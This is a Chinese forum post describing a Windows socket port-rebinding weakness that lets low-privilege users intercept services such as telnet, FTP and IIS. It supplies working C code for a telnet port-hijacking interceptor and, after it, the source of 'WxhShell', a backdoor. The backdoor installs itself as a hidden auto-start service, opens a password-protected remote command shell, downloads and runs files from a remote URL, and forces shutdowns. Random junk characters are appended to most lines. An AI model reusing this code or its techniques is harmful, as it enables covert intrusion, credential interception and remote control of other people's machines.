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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gMZ?MG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #EU x1II  
;0\  
  saddr.sin_family = AF_INET; b;sjw5cm_  
v~HfA)#JK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -U_<:  
YJrZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X?.LA7)CK  
E|^~R}z)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1 Xu^pc  
l. i&.;f  
  这意味着什么?意味着可以进行如下的攻击: C{):jH,Rf  
!ly]{DTmm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LaiUf_W#X  
}vdhk0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -{fbZk&A  
uU00ZPS*G[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Nb;Yti@Y.  
%7rWebd-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o%A@ OY  
;H8A"$%n~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J;BG/VI1  
e c`3Qw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G@QZmuj&KH  
<)(STo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xlaBOKa%  
wXsA-H/`  
  #include T|[ o  
  #include #| Et9  
  #include iPJZ%  
  #include    8[;U|SR"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -xf=dzm)  
  int main() fKAG+t  
  { 8aD4 wc  
  WORD wVersionRequested; ~8EG0F;t  
  DWORD ret; C '}8  
  WSADATA wsaData; E8Wgm 8  
  BOOL val; )f0t"lk  
  SOCKADDR_IN saddr; 5ff66CRw  
  SOCKADDR_IN scaddr; asI:J/%+2  
  int err; 4o2 C=?@(  
  SOCKET s; =jmn  
  SOCKET sc; ghiFI<)VY  
  int caddsize; wLC|mByq  
  HANDLE mt; rT ~qoA\  
  DWORD tid;   u]ZCYJ>  
  wVersionRequested = MAKEWORD( 2, 2 ); @[S\ FjI  
  err = WSAStartup( wVersionRequested, &wsaData ); c;bp[ Y3R  
  if ( err != 0 ) { IXf@YV  
  printf("error!WSAStartup failed!\n"); KyAQzN9  
  return -1; w_I}FPT<(:  
  } #3u;Ox  
  saddr.sin_family = AF_INET; o^},L?  
   X Jy]d/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |L7 `7!Z  
(byFr9z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '5eW"HGU]`  
  saddr.sin_port = htons(23); G?d28p',.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sT3O_20{  
  { @Tzh3,F2  
  printf("error!socket failed!\n"); uU>Bun  
  return -1; X(#G6KeZFZ  
  } }o? @  
  val = TRUE; DP*[t8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W6~B~L  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7@rrAs-"Z  
  { fN>o465I6  
  printf("error!setsockopt failed!\n"); j4Cad  
  return -1; ?!-2G  
  }  $3%EKi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I/MYS5}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K$\]\qG6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VHB5  
A=|&N%lP'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O&irgc!  
  { V5RfxWtm:  
  ret=GetLastError(); ,y?0Iwf  
  printf("error!bind failed!\n"); y:Qo:Z~  
  return -1; (3"V5r`*;  
  } #G^?4Z a  
  listen(s,2); r/fLm8+  
  while(1) [HK[{M =v=  
  { dGcG7*EX  
  caddsize = sizeof(scaddr); (6 fh[eK86  
  //接受连接请求 xq.,7#3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BxO8oKe  
  if(sc!=INVALID_SOCKET) i%0Ml:Y  
  { ~FM5]<X)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4S@^ym  
  if(mt==NULL) X%S?o  
  { pNI=HHx  
  printf("Thread Creat Failed!\n"); Yt7R[|  
  break; a! P?RbW  
  } <`a!%_LC [  
  } Bi)1*  
  CloseHandle(mt); Fmk, "qs  
  } }ruBbeQ  
  closesocket(s); x2[A(O=  
  WSACleanup(); FU~ Ip  
  return 0; IiIF4 pQ,  
  }   ~(%nnG6x  
  DWORD WINAPI ClientThread(LPVOID lpParam) aDTNr/I  
  { 3xh~xE  
  SOCKET ss = (SOCKET)lpParam; d?*=<w!A  
  SOCKET sc; \:\rkc9LI  
  unsigned char buf[4096]; M"#xjP.  
  SOCKADDR_IN saddr; 9dr\=e6) C  
  long num; k 0z2)3L  
  DWORD val; x(&o=Pu  
  DWORD ret; ;2-,Xzz8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q'&oSPXSDd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p0UR5A>p  
  saddr.sin_family = AF_INET; Y: oL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); CbA!  
  saddr.sin_port = htons(23); :}v&TQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) diGPTV-?$  
  { ub6=^`>h  
  printf("error!socket failed!\n"); ;dNKe.`Dg  
  return -1; cRK1JxU  
  } [GX5jD#  
  val = 100; JV Fn=Mw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _1 f!9ghT\  
  { V,fSn:8%M  
  ret = GetLastError(); egxh  
  return -1; $3|++?  
  } :a R&t#<"E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2}[)y\`t3  
  { l_y:IY$"  
  ret = GetLastError(); (qnzz!s  
  return -1; #)2'I`_E  
  } a1_7plg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g>A*kY  
  { 3G dWq*  
  printf("error!socket connect failed!\n"); VlXUrJ9&  
  closesocket(sc); fa;\4#  
  closesocket(ss); t{| KL<d]  
  return -1; 7 /w)^&8  
  } v{"$:Z ow  
  while(1) [84ss;.$  
  { r*fZS$e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q}2aBU.f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 BYFvf(>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >uN{cohs  
  num = recv(ss,buf,4096,0); [nB[]j<R*  
  if(num>0) ^+^#KC8]W  
  send(sc,buf,num,0); O{uc  h  
  else if(num==0) !jGe_xB}~  
  break; 6LrG+p`  
  num = recv(sc,buf,4096,0); 1WRQjT=o  
  if(num>0) a.#`>  
  send(ss,buf,num,0); E4 GtJ`{X  
  else if(num==0) Cb5;l~}L  
  break; {M96jjiInf  
  } u+a" '*  
  closesocket(ss); N?TXPY  
  closesocket(sc); K>hQls+  
  return 0 ; //n$#c _}u  
  } {b6| wQ\  
X]d;x/2  
A}v! vVg  
========================================================== L\)ssO uh  
)-%3;e<w  
下边附上一个代码,,WXhSHELL 9&}$C]`  
9AO`Zk{/Ez  
========================================================== &#^^UT(nj  
/]zn8 d  
#include "stdafx.h" S<H 2e{~  
^pruQp1X  
#include <stdio.h> jT>G8}h  
#include <string.h> #$2 {l,>  
#include <windows.h> n]^zIe^6  
#include <winsock2.h> $ (/=Wn  
#include <winsvc.h> _GS_R%b  
#include <urlmon.h> +e}v) N  
7ESSx"^B  
#pragma comment (lib, "Ws2_32.lib") F_.rLgGY  
#pragma comment (lib, "urlmon.lib") CT,PQ  
Yl4XgjG  
#define MAX_USER   100 // 最大客户端连接数 t% Sgw%f  
#define BUF_SOCK   200 // sock buffer ^S:S[0\,  
#define KEY_BUFF   255 // 输入 buffer Cp4 U`]  
$`,10uw  
#define REBOOT     0   // 重启 *;cvG?V  
#define SHUTDOWN   1   // 关机 :}'5'oVG  
@6\Id7`Ea  
#define DEF_PORT   5000 // 监听端口 KT$Za  
R8LJC]6Bh  
#define REG_LEN     16   // 注册表键长度 _)-t#Ve  
#define SVC_LEN     80   // NT服务名长度 fUj[E0yOF  
C+o1.#]JM  
// 从dll定义API n-zAkKM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T%74JRQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]!CMo+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O(x1Ja,&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }huj%Pnk )  
N~H!6N W  
// wxhshell配置信息 )E9[=4+*C$  
struct WSCFG { UMtnb:ek  
  int ws_port;         // 监听端口 prtNfwJz1j  
  char ws_passstr[REG_LEN]; // 口令 m31l[e  
  int ws_autoins;       // 安装标记, 1=yes 0=no O|%03q(  
  char ws_regname[REG_LEN]; // 注册表键名 x*>@knP<-  
  char ws_svcname[REG_LEN]; // 服务名 a',6WugIP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OlRtVp1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !r\u,l^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o%3i(H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >7g #e,d   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'Ur1I "  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6mp8v`b  
#+CH0Z  
}; sg YPR  
s&v7<)*q  
// default Wxhshell configuration Uh[MB wK  
struct WSCFG wscfg={DEF_PORT, ` 1Ui  
    "xuhuanlingzhe", ;]v{3m  
    1, Kk.a9uKI}  
    "Wxhshell", Wo)$*?  
    "Wxhshell", Qa`+-W u8  
            "WxhShell Service", "&Q sv-9t  
    "Wrsky Windows CmdShell Service", 2{U5*\FhVX  
    "Please Input Your Password: ", co^bS;r  
  1, _[)f<`!g_V  
  "http://www.wrsky.com/wxhshell.exe", L%S(z)xX3  
  "Wxhshell.exe" >EE}P|=-  
    }; |L9p.q  
y{>T['"@  
// 消息定义模块 ?+)>JvWDz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]@Z[/z%~04  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \/XU v(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %f)%FN . S  
char *msg_ws_ext="\n\rExit."; 79&=MTM  
char *msg_ws_end="\n\rQuit."; [0bp1S~  
char *msg_ws_boot="\n\rReboot..."; ._%8H  
char *msg_ws_poff="\n\rShutdown..."; Jb/VITqN4  
char *msg_ws_down="\n\rSave to ";  *.us IH2  
;t~Y>,  
char *msg_ws_err="\n\rErr!"; "2 \},o9  
char *msg_ws_ok="\n\rOK!"; w{8O$4 w  
g)dKXsy(F  
char ExeFile[MAX_PATH]; )7c/i+FsC  
int nUser = 0; 2CMWJi  
HANDLE handles[MAX_USER]; `. i #3P  
int OsIsNt; (N"9C+S}  
@\U;?N~k  
SERVICE_STATUS       serviceStatus; vzX%x ul  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &s#OiF8  
|@W|nbAfX  
// 函数声明 SA{noM  
int Install(void); .R^R32ln  
int Uninstall(void); QXI#gA  =  
int DownloadFile(char *sURL, SOCKET wsh); &3Y"Zd!  
int Boot(int flag); _xsHU`(J#  
void HideProc(void); nt:ZO,C:R  
int GetOsVer(void); :(Ak:  
int Wxhshell(SOCKET wsl); HXm&`  
void TalkWithClient(void *cs); \h>6k  
int CmdShell(SOCKET sock); 1y3)ogL  
int StartFromService(void);  h3 e %(a  
int StartWxhshell(LPSTR lpCmdLine); %OJ"@6A  
fQU5'wGp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cb=ixn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %E8HLTEvl  
ke<l@w O  
// 数据结构和表定义 y_``-F&Z  
SERVICE_TABLE_ENTRY DispatchTable[] = @Os0A  
{ \E {'|  
{wscfg.ws_svcname, NTServiceMain}, $~e55X'!+  
{NULL, NULL} ? KDg|d  
}; L,yq'>*5s  
5{gv \S1  
// 自我安装 }wB!Bx2  
int Install(void) g '+2bQ  
{ zYxA#TZL  
  char svExeFile[MAX_PATH]; BN&eU'Dl]  
  HKEY key; ! FVD_8  
  strcpy(svExeFile,ExeFile); _BEDQb{"|  
x.9[c m-!  
// 如果是win9x系统,修改注册表设为自启动 ZU$QwI8  
if(!OsIsNt) { ep6V2R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6&"*{E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wG&Z7C b  
  RegCloseKey(key); |w"G4J6ha  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =}" P;4:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a8YFH$Xh  
  RegCloseKey(key); !a4`SjOgu  
  return 0; naiQ$uq0  
    } m2%n:  
  } U#x`u|L&6  
} c8N pk<  
else { |H(i)yu"5'  
# uy^AC$  
// 如果是NT以上系统,安装为系统服务 _Tf %<E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \#v(f2jPF  
if (schSCManager!=0) J8B0H1  
{ DaBy<pGb?  
  SC_HANDLE schService = CreateService ol1J1Zg  
  ( QYj*|p^x  
  schSCManager, Y .E.(\  
  wscfg.ws_svcname, bzaweA H  
  wscfg.ws_svcdisp, &lo<sbd.  
  SERVICE_ALL_ACCESS, wE -y4V e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g)ofAG2  
  SERVICE_AUTO_START, SmS6B5j\R  
  SERVICE_ERROR_NORMAL, \j<aFOT(  
  svExeFile, : sG/  
  NULL, ujn7DBE"  
  NULL, 6P T)  
  NULL, .NJ Ne  
  NULL, [s[!PlazX  
  NULL 610u!_-  
  ); Y=i_2R2e2  
  if (schService!=0) iA|n\a~ny,  
  { hh$i1n  
  CloseServiceHandle(schService); NxzAlu  
  CloseServiceHandle(schSCManager); 24po}nrO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sDvy(5  
  strcat(svExeFile,wscfg.ws_svcname); gW?Hd/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tiy#b8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r3Kx  
  RegCloseKey(key); BC85#sbl  
  return 0; I-Q(kWc  
    } ,g1~4,hqQ  
  } VVEJE$  
  CloseServiceHandle(schSCManager); \'X-><1  
} #<@_mbQ@|K  
} UhXVeGO  
<'j ygZ(  
return 1; R2qz>kyyB  
} uF{l`|b'  
Pz|}[Cx-  
// 自我卸载  wH\ K'/  
int Uninstall(void) e +jp,>(v  
{ RDeI l&  
  HKEY key; ~iIFe+6  
K#N5S]2yb  
if(!OsIsNt) { ZftucD|ZY/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^Ge|tBMoKE  
  RegDeleteValue(key,wscfg.ws_regname); Sq5}v]k@&  
  RegCloseKey(key); P  V9q=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8}X>u2t  
  RegDeleteValue(key,wscfg.ws_regname); c],Zw  
  RegCloseKey(key); <J]N E|:  
  return 0; ,!^g8zO  
  } b%X<'8 z9Z  
} R0yp9icS  
} _$mS=G(  
else { PKev)M;C+  
k#2b3}(,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `uc`vkVZ  
if (schSCManager!=0) #UnGU,J  
{ QZ5%nJme_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !MOcF5M  
  if (schService!=0) PkOtg[Z  
  { {\ VmNnw  
  if(DeleteService(schService)!=0) { /AIFgsaY  
  CloseServiceHandle(schService); ?U,XyxN  
  CloseServiceHandle(schSCManager); yn2k!2]&T<  
  return 0; U9Lo0K  
  } tbB.n  
  CloseServiceHandle(schService); YCBUc<)  
  } v){X&HbP  
  CloseServiceHandle(schSCManager); r2&/Ii+  
} RRtOBrIedI  
} km}E&ao  
CbMClnF  
return 1; rY"EW"y  
} 'l1cuAP!+  
InG<B,/W?  
// 从指定url下载文件 s ~i,R  
int DownloadFile(char *sURL, SOCKET wsh) 6a6N$v"  
{ ?YM0VB,y  
  HRESULT hr; g:>dF#  
char seps[]= "/"; n* z;%'0  
char *token; xQ=L2pX  
char *file; ,f .#-  
char myURL[MAX_PATH]; <$ %Y#I'zX  
char myFILE[MAX_PATH]; VKr oikz@]  
&RlYw#*1.  
strcpy(myURL,sURL); 6w0r)  
  token=strtok(myURL,seps); ~gEd (  
  while(token!=NULL) {z# W-  
  { Z-i$KF  
    file=token; a]x\e{  
  token=strtok(NULL,seps); D|8h^*Ya  
  } cV* 0+5  
:5zO!~\  
GetCurrentDirectory(MAX_PATH,myFILE); K st2.Yy  
strcat(myFILE, "\\"); k= 9a/M u  
strcat(myFILE, file); a{iG0T.{Yh  
  send(wsh,myFILE,strlen(myFILE),0); c+u) C%g  
send(wsh,"...",3,0); e pAC%a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -vS7%Fbr  
  if(hr==S_OK) 2J7JEv|  
return 0; lW@i,1  
else zh4m`}p  
return 1; t<qXXQ&5  
CHM+@lD  
} iu'rc/=V  
3]/Y= A  
// 系统电源模块 `{\10j*B  
int Boot(int flag) R(A"6a8*  
{ LYS[qLpf  
  HANDLE hToken; O:X|/g0Y  
  TOKEN_PRIVILEGES tkp; gd;e-.  
wk6tdY{&s  
  if(OsIsNt) { u=B,i#>s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _lG\_6oJ,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NZ~"2~Hh  
    tkp.PrivilegeCount = 1; #]Q.B\\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K-7i4 ~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G;bE_O  
if(flag==REBOOT) { {FM:\/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8KS9!*.iZ  
  return 0; qC YXkZ%`  
} N:rnH:g+:  
else { 12yX`9h>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2aGK}sS6  
  return 0; d#nKTqSg  
} <k2]GI-}h  
  } nL* SNQ_  
  else { ,m.IhnCV\  
if(flag==REBOOT) { RkBbu4uQ-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :WdiH)Zv  
  return 0; W_G'wU3R  
} MXuiQ;./  
else { ESv&x6H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wz 5*?[4  
  return 0; 0t}&32lL&  
} Amvl/bO  
} (B;rjpK  
WUqfY?5  
return 1; J9/}ZD^  
} u:&Lf  
G |vG5$Nf  
// win9x进程隐藏模块 97(*-e=e  
void HideProc(void) . vQCX1V(  
{ j*N:Kdzvl  
cXvq=Rb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $v+t ~b  
  if ( hKernel != NULL ) 9!oNyqQ  
  { qQ UCK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 38eeRo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +tPqU6  
    FreeLibrary(hKernel); [0mg\n?  
  } Mi_/ ^  
\py \rI  
return; fP:g}Z  
} Sj<WiQ%<  
xA2 "i2k9  
// 获取操作系统版本 sYb(g'W*'  
int GetOsVer(void) ;-X5#  
{ + %07J6  
  OSVERSIONINFO winfo; ln6Hr^@5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `>cBR,)r  
  GetVersionEx(&winfo); -:o4|&g<*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P ||:?3IH  
  return 1; 2hI|] p  
  else *_7%n-k  
  return 0; V0x;*)\PYm  
} 8z h{?0  
ri k0F  
// 客户端句柄模块 $Y5m"wySZ  
int Wxhshell(SOCKET wsl) Grw|8xN0t  
{ O o+pi$W  
  SOCKET wsh; -(]s!,  
  struct sockaddr_in client; rt[w yz8  
  DWORD myID; %^$7z,>;  
%0!!998  
  while(nUser<MAX_USER) td#B$$[  
{ S @ MO  
  int nSize=sizeof(client); cRhu]fv()  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >ps=z$4j*  
  if(wsh==INVALID_SOCKET) return 1; Qs5^kddz=  
<r'l5|er  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^xwnX=Np  
if(handles[nUser]==0) usR: -1{  
  closesocket(wsh); e1 j3X\ \  
else >3a<#s{%  
  nUser++; (}u2) 9  
  } ]l WEdf+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _c 4kj  
93*MY7j}  
  return 0; (/r l\I  
} JXIxk"m  
$ kA'9Y  
// 关闭 socket cn$o$:tW  
void CloseIt(SOCKET wsh) RHc-kggk!  
{ V94eUmx>?+  
closesocket(wsh); :"9P {xe^  
nUser--; #DI%l`B  
ExitThread(0); w+NdEE4H9z  
} MM*B.y~TxZ  
.A. VOf_  
// 客户端请求句柄 "[rChso  
void TalkWithClient(void *cs) 5QR=$?K  
{ U2u\Q1  
^"e|)4_5\  
  SOCKET wsh=(SOCKET)cs; Is $I;`  
  char pwd[SVC_LEN]; ^T#bla893  
  char cmd[KEY_BUFF]; #ONad0T;  
char chr[1]; .m]"lH*  
int i,j; `H.~ # $  
,X05&'@Z  
  while (nUser < MAX_USER) { j<-#a^jb  
Wz~=JvRHh  
if(wscfg.ws_passstr) { s?8vs%(l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .I"Qu:``  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +EZ Lic  
  //ZeroMemory(pwd,KEY_BUFF); .m&JRzzV  
      i=0; *t JgQ[  
  while(i<SVC_LEN) { gua +-##)  
b V5{  
  // 设置超时 Cz%tk}2  
  fd_set FdRead; I0 78[3b  
  struct timeval TimeOut; H <|ilL'fX  
  FD_ZERO(&FdRead); kf8-#Q/B  
  FD_SET(wsh,&FdRead); \~]HfDu  
  TimeOut.tv_sec=8; Z-fQ{&a{  
  TimeOut.tv_usec=0; c&{1Z&Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xV_,R'l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f.%mp$~T  
.>Gnb2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LX [_6  
  pwd=chr[0]; \{HbL,s  
  if(chr[0]==0xd || chr[0]==0xa) { rff=ud>Jf  
  pwd=0; \pXs&}%1,F  
  break; SM;*vkwz~  
  } OO Hw-MW  
  i++; ]ZD W+<  
    } `u z R!^X  
vU:FDkx*nn  
  // 如果是非法用户,关闭 socket H\Y5Fd9)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?*36&Iq}  
} ^u? #fLr  
g ni=S~u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8!~8:?6n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g[]UM;D*  
N%hV+># Z  
while(1) { eF[CiO8F2  
Tq\S-K}4!  
  ZeroMemory(cmd,KEY_BUFF); Fgf5OHX  
9w^lRbn  
      // 自动支持客户端 telnet标准   3C,G~)= x  
  j=0; -|ho 8alF  
  while(j<KEY_BUFF) { cmLGMlFT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .l| [e  
  cmd[j]=chr[0]; ^PnXnH?  
  if(chr[0]==0xa || chr[0]==0xd) { r\OunGUP  
  cmd[j]=0; WIe7>wkC  
  break; cBZK t  
  } 4GA9oLl  
  j++; $>PXX32  
    } qqL :#]lV5  
#JmVq-)  
  // 下载文件 CFm( yFk  
  if(strstr(cmd,"http://")) { q&/<~RC*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >UUcKq1M:  
  if(DownloadFile(cmd,wsh)) pO^PkX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tz\ PQ)!  
  else 64)Fz}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); laR cEXj  
  } #Tz$ona  
  else { a.n;ika]-  
BGtr=&Hq  
    switch(cmd[0]) { B6N/nCvHK  
  n{d0}N =  
  // 帮助 E [:eMJR  
  case '?': { zTgY=fuz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $pKlF0 .  
    break; KASuSg+  
  } +-DF3(  
  // 安装 OcA_m.  
  case 'i': { Q[j'FtP%  
    if(Install()) e -!6m #0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `D44I;e^1;  
    else -6Y@_N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `!`g&:Y  
    break; 3 291"0  
    } F9ys.Bc  
  // 卸载 6:fHPlqW  
  case 'r': { 7Ei,L[{\i#  
    if(Uninstall()) ^tMb"WO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \dm5Em/  
    else prHM}n{0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <r9L-4  
    break; I_1(jaY  
    } I7@|{L1|FB  
  // 显示 wxhshell 所在路径 jR1o<]?  
  case 'p': { J0ys Z]  
    char svExeFile[MAX_PATH]; 9HsiAi*  
    strcpy(svExeFile,"\n\r"); 3V(]*\L  
      strcat(svExeFile,ExeFile); ~.Wlv;  
        send(wsh,svExeFile,strlen(svExeFile),0); jmp0 %:+L  
    break; j*.K|77WHj  
    } F@]9 oF  
  // 重启 )j/2Z-Ev:W  
  case 'b': { :w!A_~ w2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _>8rTk`/h  
    if(Boot(REBOOT)) yt'P,m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ 0'j;")XV  
    else { L;7u0Yg  
    closesocket(wsh); Wc*jTip  
    ExitThread(0); V-{3)6I$hG  
    } R ]h3a :ic  
    break; b<\2j5  
    } ME0vXi  
  // 关机 ag_*Z\  
  case 'd': { .+07 Ui]I!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -JEiwi,  
    if(Boot(SHUTDOWN)) J~]Y  
